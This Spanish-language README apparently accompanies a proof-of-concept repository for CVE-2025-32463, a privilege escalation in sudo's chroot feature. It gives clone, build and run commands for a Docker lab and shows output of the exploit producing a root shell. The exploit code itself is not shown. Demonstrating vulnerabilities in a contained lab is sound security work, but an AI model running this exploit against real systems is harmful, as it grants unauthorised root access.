
Prueba de concepto del exploit para CVE-2025-32463, una vulnerabilidad de escalada de privilegios en la función chroot de sudo. Incluye entorno Docker y script de exploit para generar una shell de root.
Este repositorio proporciona un entorno mínimo y reproducible para demostrar el fallo de escalada de privilegios CVE‑2025‑32463 en la función chroot de sudo.
| Archivo | Propósito |
|---|---|
| Dockerfile | Crea una imagen de Ubuntu 24.04 con sudo 1.9.16p2 vulnerable y herramientas de compilación |
| sudo‑chwoot.sh | Exploit de prueba de concepto que lanza una shell de root dentro del chroot |
| run.sh | Script auxiliar que construye la imagen (si es necesario) y lanza el contenedor del exploit |
Las versiones vulnerables de sudo 1.9.14 hasta 1.9.17 (todas las revisiones p) en la mayoría de las distribuciones Linux están afectadas.
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh
# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
run.sh pasa --privileged y --rm a Docker para que el contenedor se limpie solo al salir.
Elimina la imagen cuando hayas terminado:
docker rmi sudo-chwoot